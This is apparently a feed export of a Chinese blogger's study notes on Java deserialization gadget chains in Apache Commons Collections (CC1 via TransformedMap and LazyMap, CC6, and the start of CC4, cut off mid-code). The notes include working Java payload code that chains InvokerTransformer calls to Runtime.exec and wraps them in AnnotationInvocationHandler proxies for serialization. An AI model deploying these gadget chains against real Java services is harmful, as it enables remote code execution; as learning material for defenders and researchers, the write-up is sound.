<entry>
<title>commonscollections-1</title>
<link href="http://fault123.github.io/2024/03/21/commonscollections-1/"/>
<id>http://fault123.github.io/2024/03/21/commonscollections-1/</id>
<published>2024-03-21T05:06:50.647Z</published>
<updated>2024-07-29T13:45:14.943Z</updated>
<content type="html"><![CDATA[<h1>TransformedMap</h1><p>这是除yso中的LazyMap之外的另一种TransformedMap的链子<br>环境配置就不说了，网上太多教程了(实话说这环境配好好久了，每次调一半就开摆，这次一定一定不能摆了)<br>我们先从Transformer这个接口看起，来查找它的实现类<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240204212413.png" alt="image.png" loading="lazy"></p><p>我们在直奔主题前看到这个东西</p><h2 id="ChainedTransformer"><a class="headerlink" href="#ChainedTransformer"></a>ChainedTransformer</h2><p>这个代码我们瞅一眼它的transform方法<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240204212729.png" alt="image.png" loading="lazy"><br>它的功能很显而易见就是实现了一个链式递归调用，将前一个的输出作为后一个的输入，gadget也是需要这样的东西来帮助自动调用链的<br>好了，我们现在直接进入主题</p><h2 id="InvokerTransformer"><a class="headerlink" href="#InvokerTransformer"></a>InvokerTransformer</h2><p>很显然可以知道它继承了serializable，我们再去看看它的transform方法<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240204213039.png" alt="image.png" loading="lazy"></p><p>显然它在用反射来动态调用我们输入的对象和方法，这些全是我们自己可控的，这一听就是个很危险的东西，专业点说就是任意方法调用</p><p>我们尝试用这个方法弹计算器（典！</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Runtime.getRuntime().exec("calc.exe");</span></span><br></pre></td></tr></table></figure><p>但我们刚才的目的是要试试这个方法来实现任意方法调用，那么很显然我们要用反射，我们先改写一下上面的payload</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">Runtime</span> <span class="variable">r</span> <span class="operator">=</span> Runtime.getRuntime(); </span><br><span class="line"><span class="type">Class</span> <span class="variable">c</span> <span class="operator">=</span> Runtime.class; </span><br><span class="line"><span class="type">Method</span> <span class="variable">execMethod</span> <span class="operator">=</span> c.getMethod(<span class="string">"exec"</span>, String.class); </span><br><span class="line">execMethod.invoke(r,<span class="string">"calc.exe"</span>);</span><br></pre></td></tr></table></figure><p>草，之前存的项目不能用，重新构建一次呜呜呜<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240204220359.png" alt="image.png" loading="lazy"><br>终于可以了，感动<br>然后我们去用invokeTransformer<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240204220725.png" alt="image.png" loading="lazy"><br>它的参数是方法名，参数类型（array，参数（array</p><p>所以我们先直接调用<br>用这一行代码就可以解决</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">"exec"</span>,<span class="keyword">new</span> <span class="title class_">Class</span>[]{String.class},<span class="keyword">new</span> <span class="title class_">Object</span>[]{<span class="string">"calc.exe"</span>}).transform(r);</span><br></pre></td></tr></table></figure><p>我们现在已经找到了危险方法InvokerTransformer.transform，我们接着往回找谁调用了transform方法，直接查找用法<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240204221550.png" alt="image.png" loading="lazy"><br>当然，三十几个调用，为了节省时间我们直接进入Map类里吧<br>我们可以看到TransformedMap中的CheckSetValue方法里调用了valueTransformer的transform方法<br>我们去瞅瞅valueTransformer是什么<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240204221846.png" alt="image.png" loading="lazy"><br>发现是可控的参数，于是我们可以尝试控制valueTransformer来控制我们跳转到invokeTransformer中去进行任意方法执行，但别忘了，它是一个protected方法，我们需要看看哪里调用了这个protected方法<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240204222100.png" alt="image.png" loading="lazy"><br>最后我们找到了这个方法<br>所以我们可以通过调用这个方法来控制TransformedMap进而控制valueTransformer再进行任意方法执行<br>我们只需要这样子写</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">InvokerTransformer</span> <span class="variable">InvockerTransformer</span> <span class="operator">=</span> (InvokerTransformer) <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">"exec"</span>,<span class="keyword">new</span> <span class="title class_">Class</span>[]{String.class},<span class="keyword">new</span> <span class="title class_">Object</span>[]{<span class="string">"calc.exe"</span>}).transform(r); </span><br><span class="line"> </span><br><span class="line">HashMap<Object,Object> map = <span class="keyword">new</span> <span class="title class_">HashMap</span><>(); </span><br><span class="line"> </span><br><span class="line">TransformedMap.decorate(map,<span class="literal">null</span>,InvockerTransformer);</span><br></pre></td></tr></table></figure><p>接下来我们继续向上找哪里调用了checkSetValue方法<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240204222705.png" alt="image.png" loading="lazy"><br>发现了这处调用，而Entry的setValue是我们所熟悉的东西我们循环遍历这个Map，并且调用它的setValue方法<br>那我们只需要这样即可利用</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception{ </span><br><span class="line"><span class="comment">// Runtime.getRuntime().exec("calc.exe"); </span></span><br><span class="line"> <span class="type">Runtime</span> <span class="variable">r</span> <span class="operator">=</span> Runtime.getRuntime(); </span><br><span class="line"><span class="comment">// Class c = Runtime.class; </span></span><br><span class="line"><span class="comment">// Method execMethod = c.getMethod("exec",String.class); </span></span><br><span class="line"><span class="comment">// execMethod.invoke(r,"calc.exe"); </span></span><br><span class="line"> <span class="type">InvokerTransformer</span> <span class="variable">InvockerTransformer</span> <span class="operator">=</span> (InvokerTransformer) <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">"exec"</span>,<span class="keyword">new</span> <span class="title class_">Class</span>[]{String.class},<span class="keyword">new</span> <span class="title class_">Object</span>[]{<span class="string">"calc.exe"</span>}).transform(r); </span><br><span class="line"> </span><br><span class="line"> HashMap<Object,Object> map = <span class="keyword">new</span> <span class="title class_">HashMap</span><>(); </span><br><span class="line"> map.put(<span class="string">"key"</span>,<span class="string">"value"</span>); </span><br><span class="line"> </span><br><span class="line"> Map<Object,Object> transormedMap = TransformedMap.decorate(map,<span class="literal">null</span>,InvockerTransformer); </span><br><span class="line"> <span class="keyword">for</span>(Map.Entry entry:transormedMap.entrySet()){ </span><br><span class="line"> entry.setValue(r); </span><br><span class="line"> } </span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>接下来我们看看谁调用了setValue方法<img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240204224004.png" alt="image.png" loading="lazy"><br>我们发现直接有一个readObject方法调用了setValue方法<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240204224101.png" alt="image.png" loading="lazy"><br>可以看清它是在遍历Map<br>我们看它的名字就知道它是动态代理那一水儿的东西<br>我们接下来看看这个Map是不是我们可控的<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240204224618.png" alt="image.png" loading="lazy"><br>我们发现它就直接在构造函数里写着，那纯纯可控<br>那我们直接把我们刚写好的TransformedMap丢进去就行<br>但是我们看到这个类不是public，那default类型只能在相同包下才能访问，所以我们只能用反射了）</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">Class</span> <span class="variable">c</span> <span class="operator">=</span> Class.forName(<span class="string">"sun.reflect.annotation.AnnotationInvocationHandler"</span>); </span><br><span class="line"><span class="type">Constructor</span> <span class="variable">annotationInvocationHandlerConstructor</span> <span class="operator">=</span> c.getDeclaredConstructor(Class.class,Map.class); </span><br><span class="line">annotationInvocationHandlerConstructor.setAccessible(<span class="literal">true</span>); </span><br><span class="line"><span class="type">Object</span> <span class="variable">o</span> <span class="operator">=</span> annotationInvocationHandlerConstructor.newInstance(Override.class,transormedMap);</span><br></pre></td></tr></table></figure><p>但目前有一个问题就是Runtime对象没办法序列化，因为它没有继承序列化接口<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240204225433.png" alt="image.png" loading="lazy"><br>我们可以用反射来解决这个问题，它自己没办法实例化，那它的class呢<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240204225621.png" alt="image.png" loading="lazy"><br>结果是显然的<br>那么我们可以这样写</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"> <span class="type">Class</span> <span class="variable">c</span> <span class="operator">=</span> Runtime.class; </span><br><span class="line"> java.lang.reflect.<span class="type">Method</span> <span class="variable">getRuntimeMethod</span> <span class="operator">=</span> c.getMethod(<span class="string">"getRuntime"</span>,<span class="literal">null</span>); </span><br><span class="line"> <span class="type">Runtime</span> <span class="variable">r</span> <span class="operator">=</span>(Runtime) getRuntimeMethod.invoke(<span class="literal">null</span>,<span class="literal">null</span>); </span><br><span class="line">java.lang.reflect.<span class="type">Method</span> <span class="variable">execMethod</span> <span class="operator">=</span> c.getMethod(<span class="string">"exec"</span>,String.class); </span><br><span class="line"> execMethod.invoke(r,<span class="string">"calc.exe"</span>);</span><br></pre></td></tr></table></figure><p>但是我们需要写成这样才可以利用到这个循环</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">InvokerTransformer</span> <span class="variable">InvockerTransformer</span> <span class="operator">=</span> (InvokerTransformer) <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">"exec"</span>,<span class="keyword">new</span> <span class="title class_">Class</span>[]{String.class},<span class="keyword">new</span> <span class="title class_">Object</span>[]{<span class="string">"calc.exe"</span>}).transform(r);</span><br></pre></td></tr></table></figure><p>那么我们改写一下这一段</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"> <span class="type">Method</span> <span class="variable">getRuntimeMethod</span> <span class="operator">=</span>(Method) <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">"getMethod"</span>,<span class="keyword">new</span> <span class="title class_">Class</span>[]{String.class, Class[].class},<span class="keyword">new</span> <span class="title class_">Object</span>[]{<span class="string">"getRuntime"</span>,<span class="literal">null</span>}).transform(Runtime.class); </span><br><span class="line"> <span class="type">Runtime</span> <span class="variable">r</span> <span class="operator">=</span> (Runtime) <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">"invoke"</span>,<span class="keyword">new</span> <span class="title class_">Class</span>[]{Object.class,Object[].class},<span class="keyword">new</span> <span class="title class_">Object</span>[]{<span class="literal">null</span>,<span class="literal">null</span>}).transform(getRuntimeMethod); </span><br><span class="line"><span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">"exec"</span>,<span class="keyword">new</span> <span class="title class_">Class</span>[]{String.class},<span class="keyword">new</span> <span class="title class_">Object</span>[]{<span class="string">"calc.exe"</span>}).transform(r);</span><br></pre></td></tr></table></figure><p><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240204231551.png" alt="image.png" loading="lazy"><br>嗯，宣，这里这个InvokerTransformer真的调的人头晕）<br>这样Runtime就可以序列化了，而且这个是很符合我们之前看到了chainedTransformer，前一个的输出给后一个用，我们甚至可以设想用chainedtransformer来进行这一串<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240204231857.png" alt="image.png" loading="lazy"><br>我们只需要把想调用的方法写在一个数组里就可以让chainedTransformer进行链式调用<br>也就是将代码写成这样</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">Transformer[] transformers = <span class="keyword">new</span> <span class="title class_">Transformer</span>[]{ </span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">"getMethod"</span>,<span class="keyword">new</span> <span class="title class_">Class</span>[]{String.class, Class[].class},<span class="keyword">new</span> <span class="title class_">Object</span>[]{<span class="string">"getRuntime"</span>,<span class="literal">null</span>}), </span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">"invoke"</span>,<span class="keyword">new</span> <span class="title class_">Class</span>[]{Object.class,Object[].class},<span class="keyword">new</span> <span class="title class_">Object</span>[]{<span class="literal">null</span>,<span class="literal">null</span>}), </span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">"exec"</span>,<span class="keyword">new</span> <span class="title class_">Class</span>[]{String.class},<span class="keyword">new</span> <span class="title class_">Object</span>[]{<span class="string">"calc.exe"</span>}) </span><br><span class="line">}; </span><br><span class="line">ChainedTransformer chainedTransformer=(ChainedTransformer) <span class="keyword">new</span> <span class="title class_">ChainedTransformer</span>(transformers); </span><br><span class="line">chainedTransformer.transform(Runtime.class);</span><br></pre></td></tr></table></figure><p><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240204232547.png" alt="image.png" loading="lazy"></p><p>嗯，宣<br>接下来我们解开之前的注释<br>我们还需要把之前这里<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240204232652.png" alt="image.png" loading="lazy"><br>改成chainedTransformer<br>但到现在我发现并不能执行<br>一步一步调试(no) 看别人找原因(yes)后发现问题在这里<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240204233752.png" alt="image.png" loading="lazy"><br>通过源码我们可以看到(虽然我这里没截到)我们要调用的方法在这个if里，但是就目前来看我们这里的memberType是null，也就是进不去这个if，那我们要怎么办嘞，改！<br>它在这里<img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240204234017.png" alt="image.png" loading="lazy"><br>获取它的type并查找，所以我们在这里不能用Override了，得重新想个办法（抄个方法）也就是找一个有成员方法的东西，而且因为它是根据数组中的key来查找它的成员方法，所以我们还要将key改名为它的成员方法名字<br>所以我们看到了target<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240204234256.png" alt="image.png" loading="lazy"><br>没错就是这个target<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240204234318.png" alt="image.png" loading="lazy"></p><p>它是有成员方法的<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240204234437.png" alt="image.png" loading="lazy"><br>经过更改后我们发现它不是null了，那也就代表我们可以进去这个if了<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240204234506.png" alt="image.png" loading="lazy"><br>是这样嘟，进去咯<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240204234553.png" alt="image.png" loading="lazy"><br>到了我们想调用的方法了，如果这里可控制，那么我们就成功了<br>我们步入<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240204234710.png" alt="image.png" loading="lazy"><br>发现是chainedTransformer没错倒是，但是value错了，在这里的<code>valueTransformer.transform(value);</code>就相当于我们刚才代码里的<code>chainedTransformer.transform(Runtime.class);</code><br>所以这里的value应该是Runtime.class而不是现在程序里的那个值，草<br>继续看别人的，发现他们找到了一个叫做constantTransformer的东西，功能和他的名字一样就是传什么返回什么，那即使它这里改了我们的value，如果我们在chainedTransformer的开头调用这个constantTransformer，它到我们现在写的这个数组的开头<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240204235207.png" alt="image.png" loading="lazy"><br>这里的输出是一定的，所以我们只需要在这个数组前调用constantTransformer就可以了，最后的数组如下<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240204235306.png" alt="image.png" loading="lazy"></p><p>这样我们就可以做到了，我们尝试运行</p><p><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240204235351.png" alt="image.png" loading="lazy"><br>嗯，宣，成功力<br>进行一个庆祝，CC1应该还差一个LazyMap没调，明天一定）</p><h1>LazyMap</h1><p>这二者之间的不同是来自于查找Transform方法调用的时候，也就是上一篇笔记的这里<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240205155346.png" alt="image.png" loading="lazy"><br>不止TransformedMap中有方法调用了transform，根据我当时的截图可以看到一共有三个Map中都有调用，我们这里要走的就是另外一条LazyMap这条链子<br>我们看到在这里，get方法调用了transform方法，这个不和上一个一样，找到这里发现直接是readObject调用，这里我们需要继续去查找谁调用了get，但是真的好多，查了一大堆<br>我们先看看它调用transform的这个factory是否可控，其实我们只需要传的时候传成chainedTransformer，并且能走到这个if里面就可以了<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240205160201.png" alt="image.png" loading="lazy"><br>然后直接看了yso，发现是<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240205160531.png" alt="image.png" loading="lazy"><br>眼熟吧，很眼熟<br>我们直接去找这个类<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240205160712.png" alt="image.png" loading="lazy"><br>这俩忘记消掉的断点就知道了<br>我们跟着yso去瞅瞅它的invoke方法<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240205160902.png" alt="image.png" loading="lazy"><br>发现这里调用了get方法而且根据昨天的调试我们知道这个membervalue是可控的，AnnotationInvocationHandler它属于一个动态代理，扒拉完之前的笔记<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240205161052.png" alt="image.png" loading="lazy"><br>也就是说只要外面有方法调用，就会转发到invoke进行处理，也就是说这个我们可以类比于PHP中的魔术方法了，自动调用的那种，像call但如像<br>所以我们需要先弄一个动态代理<br>还是得复习之前的笔记呜呜呜我好菜<br>我们看到yso发现他还是在用之前的readObject<br>那么我们先看看这个调用了get而且具有参数可控条件的invoke方法如何才可以成功调用<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240205161627.png" alt="image.png" loading="lazy"><br>很明显，尽可能地不去调用equals方法，也不要参数类型的长度不等于0，emmmm直白点就是别调用readObject中的有参方法<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240205161920.png" alt="image.png" loading="lazy"><br>这不就是了喵<br>所以我们接下来开始写一下<br>鉴于chainedTransformer那里没变，我们只需要注释后面的就可以了<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240205162305.png" alt="image.png" loading="lazy"><br>我们发现LazyMap中有两个decorate方法，我们去调用后者，因为我们最后是要把chainedTransformer放进去的<br>接下来我们需要弄一个动态代理来实现它的invoke方法调用<br>其实这里我有点忘记了hhhh，翻翻笔记<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240205162805.png" alt="image.png" loading="lazy"><br>找到了这个<br>因为我们要代理的是一个Map所以我们需要这样构造</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">Map</span> <span class="variable">mapProxy</span> <span class="operator">=</span> (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),<span class="keyword">new</span> <span class="title class_">Class</span>[]{Map.class},lazymapInvocationHandler);</span><br></pre></td></tr></table></figure><p>接下来因为我们还需要走到readObject中，所以我们再次使用上一个的最后一部分，记得这里的transformedMap要改成mapProxy了<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240205163621.png" alt="image.png" loading="lazy"><br>于是我们尝试运行<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240205163709.png" alt="image.png" loading="lazy"><br>嗯，宣<br>最后代码如下</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">Transformer[] transformers = <span class="keyword">new</span> <span class="title class_">Transformer</span>[]{ </span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>(Runtime.class), </span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">"getMethod"</span>,<span class="keyword">new</span> <span class="title class_">Class</span>[]{String.class, Class[].class},<span class="keyword">new</span> <span class="title class_">Object</span>[]{<span class="string">"getRuntime"</span>,<span class="literal">null</span>}), </span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">"invoke"</span>,<span class="keyword">new</span> <span class="title class_">Class</span>[]{Object.class,Object[].class},<span class="keyword">new</span> <span class="title class_">Object</span>[]{<span class="literal">null</span>,<span class="literal">null</span>}), </span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">"exec"</span>,<span class="keyword">new</span> <span class="title class_">Class</span>[]{String.class},<span class="keyword">new</span> <span class="title class_">Object</span>[]{<span class="string">"calc.exe"</span>}) </span><br><span class="line">}; </span><br><span class="line">ChainedTransformer chainedTransformer=(ChainedTransformer) <span class="keyword">new</span> <span class="title class_">ChainedTransformer</span>(transformers);</span><br><span class="line">HashMap<Object,Object> map = <span class="keyword">new</span> <span class="title class_">HashMap</span><>(); </span><br><span class="line"> </span><br><span class="line">Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer); </span><br><span class="line"> </span><br><span class="line"><span class="type">Class</span> <span class="variable">c</span> <span class="operator">=</span> Class.forName(<span class="string">"sun.reflect.annotation.AnnotationInvocationHandler"</span>); </span><br><span class="line"><span class="type">Constructor</span> <span class="variable">annotationInvocationHandlerConstructor</span> <span class="operator">=</span> c.getDeclaredConstructor(Class.class,Map.class); </span><br><span class="line">annotationInvocationHandlerConstructor.setAccessible(<span class="literal">true</span>); </span><br><span class="line"><span class="type">InvocationHandler</span> <span class="variable">lazymapInvocationHandler</span> <span class="operator">=</span> (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class,lazyMap); </span><br><span class="line"> </span><br><span class="line"><span class="type">Map</span> <span class="variable">mapProxy</span> <span class="operator">=</span> (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),<span class="keyword">new</span> <span class="title class_">Class</span>[]{Map.class},lazymapInvocationHandler); </span><br><span class="line"> </span><br><span class="line"><span class="type">Object</span> <span class="variable">o</span> <span class="operator">=</span> annotationInvocationHandlerConstructor.newInstance(Override.class,mapProxy); </span><br><span class="line">serialize(o); </span><br><span class="line">unserialize(<span class="string">"ser.bin"</span>);</span><br></pre></td></tr></table></figure><p>结束力！！今天好快，今天估计能把CC2搞完喵</p>]]></content>
<summary type="html"><h1>TransformedMap</h1>
<p>这是除yso中的LazyMap之外的另一种TransformedMap的链子<br>
环境配置就不说了，网上太多教程了(实话说这环境配好好久了，每次调一半就开摆，这次一定一定不能摆了)<br>
我们先从Transformer这</summary>
<category term="Java" scheme="http://fault123.github.io/tags/Java/"/>
</entry>
<entry>
<title>commons-collections 6</title>
<link href="http://fault123.github.io/2024/03/21/commons-collections%206/"/>
<id>http://fault123.github.io/2024/03/21/commons-collections%206/</id>
<published>2024-03-21T05:06:50.644Z</published>
<updated>2024-07-29T13:45:38.999Z</updated>
<content type="html"><![CDATA[<p>为什么我不看CC2，而是选择在看完CC1之后去看CC6，是因为它和CC1的LazyMap有关系，所以我们将CC6拉前头看<br>这里是因为发现了一个TiedMapEntry的类，发现它的hashcode方法（注意这里和URLDNS链不同的是URLDNS链用的是HashMap里的hashcode方法，而这里是需要通过HashMap中的readObject来调用TiedMapEntry中的hashcode方法，二者本质上不同）</p><p>我们先去看TiedMapEntry的构造方法<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240205172359.png" alt="image.png" loading="lazy"><br>传完赋值<br>我们再去看看HashMap的readObject方法中是对key还是value调用hash<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240205172810.png" alt="image.png" loading="lazy"><br>这里很显然是对key进行了hash操作，说到这可能有点不明白这个hash和hashcode方法有什么关系，我们再去跟踪一手就能看出来<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240205172901.png" alt="image.png" loading="lazy"><br>其实它调用了key的hashcode方法，而这个key显然可控，所以我们需要将东西放到key里而不是value里<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240205173349.png" alt="image.png" loading="lazy"><br>成功了，但是还记得URLDNS中的put方法中也有hash么<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240205173425.png" alt="image.png" loading="lazy"><br>我们去看看它的hash方法<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240205173440.png" alt="image.png" loading="lazy"><br>喵，眼熟了，所以说我们根本没有走我们设想的路，它直接通过hashMap的put方法走了hashcode，所以说即使我们注释掉序列化和反序列化，它也能用，看吧<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240205173753.png" alt="image.png" loading="lazy"><br>所以这还叫个钩钩的反序列化，所以我们又要像URLDNS链一样通过反射去改它的值<br>配上我当时的笔记<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240205173854.png" alt="image.png" loading="lazy"><br>但我们这里不是去修改hashcode的值，而是修改我们的factory，但是当我们修改好后发现还是不对，代码如下<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240205174818.png" alt="image.png" loading="lazy"><br>然后我们继续去看put中间发生了什么<br>一路跟到这里来发现<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240205174849.png" alt="image.png" loading="lazy"><br>它会去查有没有这个key，如果没有的话会把它放进去，那就我们在结束完put后把它添加的东西删掉<br>防止它调用的是<lazyMap,f4u1t>这个键值对，我们删掉它后再通过翻身修改发现它成功了<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240205175634.png" alt="image.png" loading="lazy"></p>]]></content>
<summary type="html"><p>为什么我不看CC2，而是选择在看完CC1之后去看CC6，是因为它和CC1的LazyMap有关系，所以我们将CC6拉前头看<br>
这里是因为发现了一个TiedMapEntry的类，发现它的hashcode方法（注意这里和URLDNS链不同的是URLDNS链用的是HashMa</summary>
<category term="Java" scheme="http://fault123.github.io/tags/Java/"/>
</entry>
<entry>
<title>commons-collections 4</title>
<link href="http://fault123.github.io/2024/03/21/commons-collections%204/"/>
<id>http://fault123.github.io/2024/03/21/commons-collections%204/</id>
<published>2024-03-21T05:06:50.642Z</published>
<updated>2024-07-29T13:45:49.401Z</updated>
<content type="html"><![CDATA[<p>呜呜呜maven构建的好快，我猫猫都没看完</p><p>CC4了喵，加油喵<br>直接看yso的吧<br>PriorityQueue.readObjet->TransformingComparator.compare->CC3.InstantiateTransformer 之后</p><h2 id="TransformingComparator"><a class="headerlink" href="#TransformingComparator"></a>TransformingComparator</h2><p>我们先分析一下cc3和cc4中不同之处的关键<br>点，就是这个compare方法，二者有什么不一样<br>CC3中<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240206184529.png" alt="image.png" loading="lazy"></p><p>CC4中<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240206184512.png" alt="image.png" loading="lazy"><br>二者所实现的接口不同，CC4实现了Serializable接口而CC3中没有</p><p>所以我们开始写代码咯</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"> <span class="type">TemplatesImpl</span> <span class="variable">templates</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TemplatesImpl</span>(); </span><br><span class="line"> <span class="type">Class</span> <span class="variable">templatesClazz</span> <span class="operator">=</span> templates.getClass(); </span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"> <span class="type">Field</span> <span class="variable">nameField</span> <span class="operator">=</span> templatesClazz.getDeclaredField(<span class="string">"_name"</span>); </span><br><span 